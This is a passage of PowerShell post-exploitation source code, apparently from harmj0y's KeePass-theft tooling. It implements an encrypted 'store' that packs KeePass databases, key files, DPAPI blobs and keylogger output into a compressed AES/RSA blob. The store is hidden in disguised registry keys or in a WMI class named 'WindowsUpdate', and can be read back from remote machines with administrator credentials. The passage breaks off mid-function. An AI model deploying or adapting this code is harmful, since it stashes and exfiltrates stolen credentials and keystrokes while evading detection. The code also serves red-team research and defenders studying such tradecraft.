ForEach($InputData in $Data) { 798 | 799 | # handle output from Get-KeePassConfig.ps1 800 | if($InputData.PSObject.TypeNames -contains 'KeePass.Config') { 801 | 802 | # extarct all KeePass files from the Find-KeePassConfig output object 803 | $KeePassFiles = @() 804 | $KeePassFiles += $InputData.KeePassConfigPath 805 | $KeePassFiles += $InputData.LastUsedFile 806 | $KeePassFiles += $InputData.DefaultKeyFilePath 807 | $KeePassFiles += $InputData.DefaultDatabasePath 808 | $KeePassFiles += $InputData.RecentlyUsed 809 | 810 | if($InputData.DefaultUserAccountData) { 811 | $KeePassFiles += $InputData.DefaultUserAccountData.UserKeePassDPAPIBlob 812 | $InputData.DefaultUserAccountData.UserMasterKeyFiles | ForEach-Object { 813 | $KeePassFiles += $_ 814 | } 815 | } 816 | 817 | $KeePassFiles = $KeePassFiles | Where-Object {$_} | ForEach-Object { 818 | if($_ -is [System.IO.FileSystemInfo]) { 819 | $_ | Select-Object -ExpandProperty Path 820 | } 821 | elseif($_ -is [System.Management.Automation.PathInfo]) { 822 | $_ | Select-Object -ExpandProperty Path 823 | } 824 | elseif($_ -is [String]) { 825 | $_ 826 | } 827 | else { 828 | Write-Warning "Invalid path type for $_ : $($_.GetType())" 829 | } 830 | } | Where-Object {$_.Trim() -ne ''} | Sort-Object -Unique 831 | 832 | $KeePassFiles | ForEach-Object { 833 | $FilePath = $_ 834 | Write-Verbose "Encrypting file : $FilePath" 835 | 836 | $FilePathPadded = $FilePath.PadRight(260) 837 | $FilePathPaddedBytes = $Encoding.GetBytes($FilePathPadded) 838 | [Byte[]]$FileBytes = [System.IO.File]::ReadAllBytes($FilePath) 839 | 840 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FilePathPaddedBytes -DataBytes $FileBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType 841 | 842 | if($Base64Encode) { 843 | $AllEncryptedBytes += $EncDataBytes 844 | } 845 | else { 846 | $EncDataBytes 847 | } 848 | } 849 | 850 | # save off the custom object 851 | $FullPath = "data\KeePassConfig_$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260) 852 | $FullPathBytes = $Encoding.GetBytes($FullPath) 853 | 854 | [Byte[]]$DataBytes = $Encoding.GetBytes( $($InputData | Format-List | Out-String) ) 855 | 856 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType 857 | 858 | if($Base64Encode) { 859 | $AllEncryptedBytes += $EncDataBytes 860 | } 861 | else { 862 | $EncDataBytes 863 | } 864 | } 865 | 866 | elseif($InputData.PSObject.TypeNames -contains 'KeePass.Keys') { 867 | $FullPath = "data\KeePassKeys_$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260) 868 | $FullPathBytes = $Encoding.GetBytes($FullPath) 869 | 870 | [Byte[]]$DataBytes = $Encoding.GetBytes( $($InputData | Format-List | Out-String) ) 871 | 872 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType 873 | 874 | if($Base64Encode) { 875 | $AllEncryptedBytes += $EncDataBytes 876 | } 877 | else { 878 | $EncDataBytes 879 | } 880 | } 881 | 882 | elseif((-not $DataTag) -or (Test-Path -Path $InputData -ErrorAction SilentlyContinue)) { 883 | # if the passed data is a file name, pad the path to the max Windows path length (260) 884 | 885 | try { 886 | $ResolvedPath = $(Resolve-Path -Path $InputData -ErrorAction Stop | Select-Object -Expand Path) 887 | $FullPath = $ResolvedPath.PadRight(260) 888 | $FullPathBytes = $Encoding.GetBytes($FullPath) 889 | 890 | [Byte[]]$DataBytes = [System.IO.File]::ReadAllBytes($ResolvedPath) 891 | 892 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType 893 | 894 | if($Base64Encode) { 895 | $AllEncryptedBytes += $EncDataBytes 896 | } 897 | else { 898 | $EncDataBytes 899 | } 900 | } 901 | catch { 902 | Write-Error "Error in resolving input path and reading file: $_" 903 | } 904 | } 905 | else { 906 | # if the passed data isn't a file (i.e. keylog data) use a timestamped/tagged file for later extraction 907 | $FullPath = "data\$($DataTag)$(Get-Date -format M.d.yyyy_H.m.s).txt".PadRight(260) 908 | $FullPathBytes = $Encoding.GetBytes($FullPath) 909 | 910 | [Byte[]]$DataBytes = $Encoding.GetBytes($InputData) 911 | 912 | $EncDataBytes = Out-StoreEncryptedByte -FullPathBytes $FullPathBytes -DataBytes $DataBytes -EncryptionKey $EncryptionKey -EncryptionType $EncryptionType 913 | 914 | if($Base64Encode) { 915 | $AllEncryptedBytes += $EncDataBytes 916 | } 917 | else { 918 | $EncDataBytes 919 | } 920 | } 921 | } 922 | } 923 | 924 | END { 925 | if($AllEncryptedBytes) { 926 | [System.Convert]::ToBase64String($AllEncryptedBytes) 927 | } 928 | } 929 | } 930 | 931 | 932 | function Read-EncryptedStore { 933 | <# 934 | .SYNOPSIS 935 | 936 | Reads an EncryptedStore from a file on disk, registry location, or custom WMI class, 937 | and lists (-List) or decrypts the a -OutputPath folder (default of .\output\). 938 | 939 | Author: @harmj0y 940 | License: BSD 3-Clause 941 | Required Dependencies: None 942 | Optional Dependencies: None 943 | 944 | .DESCRIPTION 945 | 946 | Takes a given encrypted store specified by $StorePath and extracts, 947 | decrypts, and decompresses all files/data contained within it. Extracted 948 | files are written out to a created nested folder structure mirroring 949 | the file's original path. 950 | 951 | Store structure: 952 | 953 | [4 bytes representing size of next block to decrypt] 954 | [0] (indicating straight AES) 955 | [16 byte IV] 956 | [AES-CBC encrypted file block] 957 | [compressed stream] 958 | [260 characters/bytes indicating original path] 959 | [file contents] 960 | ... 961 | 962 | [4 bytes representing size of next block to decrypt] 963 | [1] (indicating RSA+AES) 964 | [128 bytes random AES key encrypted with the the RSA public key] 965 | [16 byte IV] 966 | [AES-CBC encrypted file block] 967 | [compressed stream] 968 | [260 characters/bytes indicating original path] 969 | [file contents] 970 | ... 971 | 972 | To decrypt ENCSTORE.bin: 973 | 974 | While there is more data to decrypt: 975 | 976 | -Read first 4 Bytes of ENCSTORE.bin and calculate length value X 977 | -Read next size X Bytes of encrypted file 978 | -Read first byte of encrypted block to determine encryption scheme 979 | - 0 == straight AES 980 | - 1 == RSA + AES where random AES key encrypted with RSA pub key 981 | -If RSA+AES is used, read the next 128 bytes of the RSA encrypted AES key and decrypt using the RSA private key 982 | -Read next 16 Bytes of encrypted block and extract IV 983 | -Read remaining block and decrypt AES-CBC compressed stream using key and extracted IV 984 | -Decompress [PATH + file] using IO.Compression.DeflateStream 985 | -Split path by \ and create nested folder structure to mirror original path 986 | -Write original file to mirrored path 987 | 988 | .PARAMETER StorePath 989 | 990 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"), 991 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName). 992 | 993 | .PARAMETER Key 994 | 995 | The key used to encrypt data for the store. A 32 character string is interpretered as an AES key, 996 | a string of the form 997 | ^.*.*

.*

.*.*.*.*.*
$ 998 | is interpreted as an RSA public key, and anything else is fed into a MD5 hash function to produce a 999 | 32 character password for AES encryption. 1000 | 1001 | .PARAMETER SecureKey 1002 | 1003 | A [System.Security.SecureString] used for the encryption key, following the same parsing logic from 1004 | the key parameter description above. 1005 | 1006 | .PARAMETER OutputPath 1007 | 1008 | The folder to output any decrypted data to, defaults to .\output\ 1009 | 1010 | .PARAMETER List 1011 | 1012 | List filenames and file sizes of the encrypted store. 1013 | 1014 | .PARAMETER ComputerName 1015 | 1016 | Access the -StorePath on the specified computers. The default is the local computer. 1017 | 1018 | Type the NetBIOS name, an IP address, or a fully qualified domain 1019 | name of one or more computers. To specify the local computer, type 1020 | the computer name, a dot (.), or "localhost". 1021 | 1022 | This parameter does not rely on Windows PowerShell remoting. You can 1023 | use the ComputerName parameter even if your computer is not 1024 | configured to run remote commands. 1025 | 1026 | .PARAMETER Credential 1027 | 1028 | Specifies a user account that has permission to perform this action. 1029 | 1030 | The default is the current user. Type a user name, such as "User01", 1031 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential 1032 | object, such as an object that is returned by the Get-Credential 1033 | cmdlet. When you type a user name, you will be prompted for a 1034 | password. 1035 | 1036 | .PARAMETER Impersonation 1037 | 1038 | Specifies the impersonation level to use. Valid values are: 1039 | 1040 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) 1041 | 1: Anonymous (Hides the credentials of the caller.) 1042 | 2: Identify (Allows objects to query the credentials of the caller.) 1043 | 3: Impersonate (Allows objects to use the credentials of the caller.) 1044 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) 1045 | 1046 | .PARAMETER Authentication 1047 | 1048 | Specifies the authentication level to be used with the WMI connection. Valid values are: 1049 | 1050 | -1: Unchanged 1051 | 0: Default 1052 | 1: None (No authentication in performed.) 1053 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.) 1054 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) 1055 | 4: Packet (Authentication is performed on all the data that is received from the client.) 1056 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) 1057 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) 1058 | 1059 | .PARAMETER EnableAllPrivileges 1060 | 1061 | Enables all the privileges of the current user before the command 1062 | makes the WMI call. 1063 | 1064 | .PARAMETER Authority 1065 | 1066 | Specifies the authority to use to authenticate the WMI connection. 1067 | You can specify standard NTLM or Kerberos authentication. To use 1068 | NTLM, set the authority setting to ntlmdomain:, where 1069 | identifies a valid NTLM domain name. To use Kerberos, 1070 | specify kerberos:. You cannot include the 1071 | authority setting when you connect to the local computer. 1072 | 1073 | .EXAMPLE 1074 | 1075 | PS C:\> Read-EncryptedStore -StorePath C:\Temp\debug.bin -Key 'Password123!' 1076 | File data written to C:\Temp\C\Temp\secret.txt 1077 | File data written to C:\Temp\C\Temp\secret2.txt 1078 | File data written to C:\Temp\data\keylog_3.24.2016_11.9.36 1079 | 1080 | Extracts, decrypts, and decompresses all files stored within the C:\Temp\debug.bin 1081 | encrypted store, writing the files out to a mirrored folder structure of 1082 | their orignal paths. 1083 | 1084 | .EXAMPLE 1085 | 1086 | PS C:\> $Key = New-RSAKeyPair 1087 | PS C:\> $StorePath = "HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCertificate" 1088 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -Key $Key.Pub 1089 | PS C:\> Read-EncryptedStore -StorePath $StorePath -Key $Key.Priv -List 1090 | 1091 | Generates a new RSA public/private key pair with New-RSAKeyPair, uses the public 1092 | key to encrypt a file from disk, and stores the result in the specified registry location. 1093 | The call to Read-EncryptedStore extracts the stored data using the private key and 1094 | displays the files in the container. 1095 | 1096 | .EXAMPLE 1097 | 1098 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate" 1099 | PS C:\> $SecurePassword = 'Password12345' | ConvertTo-SecureString -AsPlainText -Force 1100 | PS C:\> ".\secret.txt" | Write-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -Verbose 1101 | VERBOSE: EncryptionKey not 32 Bytes, using MD5 of key specified as the AESencryption key. 1102 | VERBOSE: RawDataStore length: 613 1103 | VERBOSE: Creating namespace 'ROOT\Software' 1104 | VERBOSE: Creating class 'WindowsUpdate' in namespace 'ROOT\Software' 1105 | VERBOSE: Setting 'Content' value of ROOT\Software:WindowsUpdate 1106 | PS C:\Users\harmj0y\Desktop> Read-EncryptedStore -StorePath $StorePath -SecureKey $SecurePassword -List 1107 | 1108 | Path FileSize 1109 | ---- -------- 1110 | C:\Users\harmj0y\Desktop\secret.txt 446 1111 | 1112 | 1113 | Stores a password in a secure string, and uses this to encrypt the specified document. The store is 1114 | then written to a custom WMI class, which is first created as it doesn't exist. The same secured string 1115 | is then used to read the data from the store. 1116 | 1117 | .EXAMPLE 1118 | 1119 | PS C:\> $ComputerName = 'PRIMARY.testlab.local' 1120 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator' 1121 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 1122 | PS C:\> ".\secret.txt" | Write-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' 1123 | PS C:\> Read-EncryptedStore -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath -Key 'Password123!' -List 1124 | 1125 | Take the local "secret.txt" file, compress/encrypt it, store it in the specified registry 1126 | key on the remote system using the specified credentials, then read the encrypted store and list 1127 | the files within in. 1128 | #> 1129 | 1130 | [CmdletBinding(DefaultParameterSetName = 'Key')] 1131 | param( 1132 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 1133 | [Alias('Path')] 1134 | [ValidatePattern('.*\\.*')] 1135 | [String[]] 1136 | $StorePath, 1137 | 1138 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'Key')] 1139 | [ValidateNotNullOrEmpty()] 1140 | [String] 1141 | $Key, 1142 | 1143 | [Parameter(Position = 1, Mandatory = $True, ParameterSetName = 'SecureKey')] 1144 | [ValidateNotNullOrEmpty()] 1145 | [System.Security.SecureString] 1146 | $SecureKey, 1147 | 1148 | [Parameter(Position = 2)] 1149 | [ValidateScript({Test-Path -Path $_ })] 1150 | [String] 1151 | $OutputPath = '.\output\', 1152 | 1153 | [Parameter(Position = 3)] 1154 | [Switch] 1155 | $List, 1156 | 1157 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1158 | [Alias('Cn')] 1159 | [String[]] 1160 | [ValidateNotNullOrEmpty()] 1161 | $ComputerName = 'localhost', 1162 | 1163 | [Management.Automation.PSCredential] 1164 | [Management.Automation.CredentialAttribute()] 1165 | $Credential = [Management.Automation.PSCredential]::Empty, 1166 | 1167 | [Management.ImpersonationLevel] 1168 | $Impersonation, 1169 | 1170 | [System.Management.AuthenticationLevel] 1171 | $Authentication, 1172 | 1173 | [Switch] 1174 | $EnableAllPrivileges, 1175 | 1176 | [String] 1177 | $Authority 1178 | ) 1179 | 1180 | BEGIN { 1181 | $Encoding = [System.Text.Encoding]::ASCII 1182 | $WmiMethodArgs = @{} 1183 | 1184 | if ($PSBoundParameters['SecureKey']) { 1185 | $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecureKey) 1186 | $EncryptionKey = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR) 1187 | } 1188 | else { 1189 | $EncryptionKey = $Key 1190 | } 1191 | Write-Verbose "EncryptionKey: $EncryptionKey" 1192 | 1193 | if($EncryptionKey -match '^.*.*

.*

.*.*.*.*.*
$') { 1194 | Write-Verbose "Using RSA private key for decryption." 1195 | $EncryptionType = 'RSA' 1196 | } 1197 | elseif($EncryptionKey.Length -eq 32) { 1198 | Write-Verbose "Using 32 byte AES key for decryption." 1199 | $EncryptionType = 'AES' 1200 | } 1201 | else { 1202 | Write-Verbose "EncryptionKey not 32 Bytes, using MD5 of key specified as the AES decryption key." 1203 | 1204 | # transform the encryption key to a MD5 hash if the key is not 32 Bytes 1205 | $StringBuilder = New-Object System.Text.StringBuilder 1206 | [System.Security.Cryptography.HashAlgorithm]::Create('MD5').ComputeHash($Encoding.GetBytes($EncryptionKey)) | ForEach-Object { [Void]$StringBuilder.Append($_.ToString("x2")) } 1207 | $EncryptionKey = $StringBuilder.ToString() 1208 | $EncryptionType = 'AES' 1209 | } 1210 | 1211 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod 1212 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } 1213 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } 1214 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } 1215 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } 1216 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } 1217 | } 1218 | 1219 | PROCESS { 1220 | 1221 | ForEach($Computer in $ComputerName) { 1222 | 1223 | ForEach($Store in $StorePath) { 1224 | 1225 | $WmiMethodArgs['ComputerName'] = $Computer 1226 | 1227 | # retrieve the data for the specified encrypted store 1228 | $EncryptedStoreObject = Get-EncryptedStoreData -StorePath $Store @WmiMethodArgs 1229 | 1230 | $EncStoreData = $EncryptedStoreObject.EncStoreData 1231 | $EncStoreLength = $EncryptedStoreObject.EncStoreLength 1232 | $Offset = 0 1233 | 1234 | # iterate over the encrypted store data, extracting all blocks 1235 | While($Offset -lt $EncStoreLength) { 1236 | try { 1237 | # first extract out the block length 1238 | $BlockLengthBytes = New-Object Byte[] 4 1239 | $BlockLengthBytes = $EncStoreData[$Offset..($Offset + 3)] 1240 | $BlockLength = [BitConverter]::ToInt32($BlockLengthBytes, 0) 1241 | 1242 | # read in the 1 byte indicating encryption type 1243 | $BlockEncryptionType = New-Object Byte[] 1 1244 | $BlockEncryptionType = $EncStoreData[$Offset + 4] 1245 | 1246 | # read in the bytes for the next block 1247 | $BlockBytes = New-Object Byte[] $BlockLength 1248 | $BlockBytes = $EncStoreData[($Offset + 5)..($Offset + 4 + $BlockLength)] 1249 | 1250 | if ($BlockLength) { 1251 | $Offset += ($BlockLength + 5) 1252 | 1253 | if(($EncryptionType -eq 'AES') -and ($BlockEncryptionType -ne 0)) { 1254 | Write-Warning "[$Computer] Block at offset $Offset uses RSA encryption but AES key supplied, skipping." 1255 | continue 1256 | } 1257 | elseif(($EncryptionType -eq 'RSA') -and ($BlockEncryptionType -ne 1)) { 1258 | Write-Warning "[$Computer] Block at offset $Offset uses AES encryption but RSA key supplied, skipping." 1259 | continue 1260 | } 1261 | 1262 | $AES = New-Object System.Security.Cryptography.AesCryptoServiceProvider 1263 | $AES.Mode = 'CBC' 1264 | 1265 | if($BlockEncryptionType -eq 1) { 1266 | 1267 | # random AES key encrypted with RSA pair 1268 | $CSP = New-Object System.Security.Cryptography.CspParameters 1269 | $CSP.Flags = $CSP.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore 1270 | $RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList @(1024,$CSP) 1271 | 1272 | $RSA.FromXmlString($EncryptionKey) 1273 | 1274 | # use private key to decrypt the randomized AES key encrypted using the RSA public key 1275 | $AESKeyBytes = $RSA.Decrypt($BlockBytes[0..127] , $False) 1276 | $AES.Key = $AESKeyBytes 1277 | $AES.IV = $BlockBytes[128..143] 1278 | $BlockOffset = 144 1279 | } 1280 | else { 1281 | # straight AES 1282 | $AES.Key = $Encoding.GetBytes($EncryptionKey) 1283 | $AES.IV = $BlockBytes[0..15] 1284 | $BlockOffset = 16 1285 | } 1286 | 1287 | # decrypt the next chunk 1288 | $DecBytes = $AES.CreateDecryptor().TransformFinalBlock($BlockBytes[$BlockOffset..$BlockBytes.Length],0,$BlockBytes.Length-$BlockOffset) 1289 | 1290 | # decompress PATH/tag + file 1291 | $MemoryStream = New-Object System.IO.MemoryStream 1292 | $MemoryStream.Write($DecBytes, 0, $DecBytes.Length) 1293 | $Null = $MemoryStream.Seek(0,0) 1294 | 1295 | $CompressionStream = New-Object System.IO.Compression.DeflateStream($MemoryStream, [System.IO.Compression.CompressionMode]::Decompress) 1296 | $StreamReader = New-Object System.IO.StreamReader($CompressionStream) 1297 | $ChunkRaw = $StreamReader.ReadToEnd() 1298 | 1299 | $Path = $Encoding.GetString($ChunkRaw[0..259]).trim() 1300 | $FileData = $ChunkRaw[260..$($ChunkRaw.Length)] 1301 | 1302 | if($PSBoundParameters['List']) { 1303 | # if we're just listing contents 1304 | $Properties = @{ 1305 | 'Path' = $Path 1306 | 'FileSize' = $FileData.Length 1307 | } 1308 | New-Object -TypeName PSObject -Property $Properties 1309 | } 1310 | else { 1311 | # recursively create the captured path 1312 | $Path = $Path.Replace(':', '_') 1313 | $Path = $Path.TrimStart('\') 1314 | $Parts = $Path.Split('\') 1315 | 1316 | if($Parts.Length -gt 1) { 1317 | $DirectoryPath = "$OutputPath\$($Parts[0..$($Parts.Length-2)] -join '\')" 1318 | 1319 | $FileName = $Parts[-1] 1320 | 1321 | $Null = New-Item -ItemType Directory -Path "$DirectoryPath" -Force -ErrorAction SilentlyContinue 1322 | 1323 | $DirectoryPath = Resolve-Path -Path $DirectoryPath 1324 | 1325 | # if the file name already exists, iterate a counter until we have a unique name 1326 | if(Test-Path -Path "$DirectoryPath\$FileName") { 1327 | $Counter = 1 1328 | 1329 | $NewFileName = [System.IO.Path]::GetFileNameWithoutExtension($FileName) 1330 | $FileExt = [System.IO.Path]::GetExtension($FileName) 1331 | 1332 | While (Test-Path -Path "$DirectoryPath\$($NewFileName + ' ' + $Counter + $FileExt)") { 1333 | $Counter += 1 1334 | } 1335 | 1336 | $FileName = $NewFileName + ' ' + $Counter + $FileExt 1337 | } 1338 | [System.IO.File]::WriteAllBytes("$DirectoryPath\$FileName", $FileData) 1339 | Write-Output "File data written to $DirectoryPath\$FileName" 1340 | } 1341 | else { 1342 | # if the file name already exists, iterate a counter until we have a unique name 1343 | if(Test-Path -Path $Path) { 1344 | $Counter = 1 1345 | 1346 | $NewFileName = [System.IO.Path]::GetFileNameWithoutExtension($Path) 1347 | $FileExt = [System.IO.Path]::GetExtension($Path) 1348 | 1349 | While (Test-Path -Path "$($NewFileName + ' ' + $Counter + $FileExt)") { 1350 | $Counter += 1 1351 | } 1352 | 1353 | $Path = $NewFileName + ' ' + $Counter + $FileExt 1354 | } 1355 | 1356 | # if the output is timestamped/tagged 1357 | [System.IO.File]::WriteAllBytes($Path, $FileData) 1358 | Write-Output "File data written to $Path" 1359 | } 1360 | } 1361 | } 1362 | } 1363 | catch { 1364 | Write-Error "Error in decryption : $_" 1365 | } 1366 | } 1367 | } 1368 | } 1369 | } 1370 | } 1371 | 1372 | 1373 | function Get-EncryptedStoreData { 1374 | <# 1375 | .SYNOPSIS 1376 | 1377 | Helper that extracts the data from an encrypted store and outputs a custom 1378 | object to the pipeline. 1379 | 1380 | Author: @harmj0y 1381 | License: BSD 3-Clause 1382 | Required Dependencies: None 1383 | Optional Dependencies: None 1384 | 1385 | .PARAMETER StorePath 1386 | 1387 | The path of the encrypted store to read file data from. Can be on the filesystem ("${Env:Temp}\debug.bin"), 1388 | registry (HKLM:\SOFTWARE\something\something\key\valuename), or WMI (ROOT\Software\namespace:ClassName). 1389 | 1390 | .PARAMETER ComputerName 1391 | 1392 | Access the -StorePath on the specified computers. The default is the local computer. 1393 | 1394 | Type the NetBIOS name, an IP address, or a fully qualified domain 1395 | name of one or more computers. To specify the local computer, type 1396 | the computer name, a dot (.), or "localhost". 1397 | 1398 | This parameter does not rely on Windows PowerShell remoting. You can 1399 | use the ComputerName parameter even if your computer is not 1400 | configured to run remote commands. 1401 | 1402 | .PARAMETER Credential 1403 | 1404 | Specifies a user account that has permission to perform this action. 1405 | 1406 | The default is the current user. Type a user name, such as "User01", 1407 | "Domain01\User01", or User@Contoso.com. Or, enter a PSCredential 1408 | object, such as an object that is returned by the Get-Credential 1409 | cmdlet. When you type a user name, you will be prompted for a 1410 | password. 1411 | 1412 | .PARAMETER Impersonation 1413 | 1414 | Specifies the impersonation level to use. Valid values are: 1415 | 1416 | 0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".) 1417 | 1: Anonymous (Hides the credentials of the caller.) 1418 | 2: Identify (Allows objects to query the credentials of the caller.) 1419 | 3: Impersonate (Allows objects to use the credentials of the caller.) 1420 | 4: Delegate (Allows objects to permit other objects to use the credentials of the caller.) 1421 | 1422 | .PARAMETER Authentication 1423 | 1424 | Specifies the authentication level to be used with the WMI connection. Valid values are: 1425 | 1426 | -1: Unchanged 1427 | 0: Default 1428 | 1: None (No authentication in performed.) 1429 | 2: Connect (Authentication is performed only when the client establishes a relationship with the application.) 1430 | 3: Call (Authentication is performed only at the beginning of each call when the application receives the request.) 1431 | 4: Packet (Authentication is performed on all the data that is received from the client.) 1432 | 5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.) 1433 | 6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.) 1434 | 1435 | .PARAMETER EnableAllPrivileges 1436 | 1437 | Enables all the privileges of the current user before the command 1438 | makes the WMI call. 1439 | 1440 | .PARAMETER Authority 1441 | 1442 | Specifies the authority to use to authenticate the WMI connection. 1443 | You can specify standard NTLM or Kerberos authentication. To use 1444 | NTLM, set the authority setting to ntlmdomain:, where 1445 | identifies a valid NTLM domain name. To use Kerberos, 1446 | specify kerberos:. You cannot include the 1447 | authority setting when you connect to the local computer. 1448 | 1449 | .EXAMPLE 1450 | 1451 | PS C:\> $StorePath = "ROOT\Software:WindowsUpdate" 1452 | PS C:\> Get-EncryptedStoreData -StorePath $StorePath 1453 | 1454 | Retrieve the raw encrypted store data in the WMI class specified from the localhost. 1455 | 1456 | .EXAMPLE 1457 | 1458 | PS C:\> $ComputerName = 'PRIMARY.testlab.local' 1459 | PS C:\> $Credential = Get-Credential 'TESTLAB\administrator' 1460 | PS C:\> $StorePath = 'HKLM:\SOFTWARE\Microsoft\SystemCertificates\DomainCert' 1461 | PS C:\> Get-EncryptedStoreData -ComputerName $ComputerName -Credential $Credential -StorePath $StorePath 1462 | 1463 | Retrive the raw encrypted store data in the registry key specified on the remote 1464 | 'PRIMARY.testlab.local' machine using the specified credentials. 1465 | #> 1466 | 1467 | [CmdletBinding()] 1468 | param( 1469 | [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] 1470 | [Alias('Path')] 1471 | [ValidatePattern('.*\\.*')] 1472 | [String[]] 1473 | $StorePath, 1474 | 1475 | [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 1476 | [Alias('Cn')] 1477 | [String[]] 1478 | [ValidateNotNullOrEmpty()] 1479 | $ComputerName = 'localhost', 1480 | 1481 | [Management.Automation.PSCredential] 1482 | [Management.Automation.CredentialAttribute()] 1483 | $Credential = [Management.Automation.PSCredential]::Empty, 1484 | 1485 | [Management.ImpersonationLevel] 1486 | $Impersonation, 1487 | 1488 | [System.Management.AuthenticationLevel] 1489 | $Authentication, 1490 | 1491 | [Switch] 1492 | $EnableAllPrivileges, 1493 | 1494 | [String] 1495 | $Authority 1496 | ) 1497 | 1498 | BEGIN { 1499 | # If additional WMI cmdlet properties were provided, proxy them to Invoke-WmiMethod 1500 | $WmiMethodArgs = @{} 1501 | if ($PSBoundParameters['Credential']) { $WmiMethodArgs['Credential'] = $Credential } 1502 | if ($PSBoundParameters['Impersonation']) { $WmiMethodArgs['Impersonation'] = $Impersonation } 1503 | if ($PSBoundParameters['Authentication']) { $WmiMethodArgs['Authentication'] = $Authentication } 1504 | if ($PSBoundParameters['EnableAllPrivileges']) { $WmiMethodArgs['EnableAllPrivileges'] = $EnableAllPrivileges } 1505 | if ($PSBoundParameters['Authority']) { $WmiMethodArgs['Authority'] = $Authority } 1506 | } 1507 | 1508 | PROCESS { 1509 | ForEach($Computer in $ComputerName) { 1510 | 1511 | if($Computer.ComputerName) { 1512 | $Computer = $Computer.ComputerName 1513 | } 1514 | 1515 | ForEach($Store in $StorePath) { 1516 | 1517 | Write-Verbose "[$Computer] Reading encrypted store at: '$Store'" 1518 | 1519 | if(($Store -match '^[A-Z]:\\') -or ($Store -match '^\\\\[A-Z0-9]+\\[A-Z0-9]+')) { 1520 | # file on a disk, local or remote, or \\UNC path 1521 | 1522 | if($Computer -ne 'localhost') { 1523 | # remote -ComputerName specification 1524 | $Net = New-Object -ComObject WScript.Network 1525 | 1526 | $PathParts = $Store.Replace(':', '$').Split('\') 1527 | $UNCPath = "\\$ComputerName\$($PathParts[0..($PathParts.Length-2)] -join '\')" 1528 | $FileName = $PathParts[-1] 1529 | 1530 | if($PSBoundParameters['Credential']) { 1531 | try { 1532 | # map a temporary network drive with the credentials supplied 1533 | # this is because New-PSDrive in PowerShell v2 doesn't support alternate credentials :( 1534 | Write-Verbose "[$Computer] Mapping drive Z: to '$UNCPath'" 1535 | $Net.MapNetworkDrive("Z:", $UNCPath, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) 1536 | $EncStorePath = "Z:\$FileName" 1537 | } 1538 | catch { 1539 | throw "[$Computer] Error mapping path '$Store' : $_" 1540 | } 1541 | } 1542 | else { 1543 | $EncStorePath = "$UNCPath\$FileName" 1544 | } 1545 | } 1546 | else { 1547 | # plain old localhost 1548 | $EncStorePath = Resolve-Path -Path $Store 1549 | } 1550 | 1551 | try { 1552 | $EncStoreData = Get-Content -Encoding Byte -Path $EncStorePath -ErrorAction Stop 1553 | $EncStoreLength = $EncStoreData.Length 1554 | } 1555 | catch { 1556 | Write-Warning "[$Computer] Error reading from '$EncStorePath' : $_" 1557 | } 1558 | 1559 | if($Computer -ne 'localhost' -and ($PSBoundParameters['Credential'])) { 1560 | try { 1561 | Write-Verbose "[$Computer] Unmapping drive Z:\" 1562 | $Net = New-Object -ComObject WScript.Network 1563 | $Null = $Net.RemoveNetworkDrive('Z:', $True) 1564 | } 1565 | catch { 1566 | Write-Verbose "[$Computer] Error unmapping drive Z:\ : $_" 1567 | } 1568 | } 1569 | } 1570 | elseif($Store -match '^(HKCR|HKCU|HKLM|HKU|HKCC):\\') { 1571 | # registry storage 1572 | 1573 | $RegistryParts = $Store.Split('\') 1574 | $KeyName = ($RegistryParts[0..($RegistryParts.Length - 2)]) -join 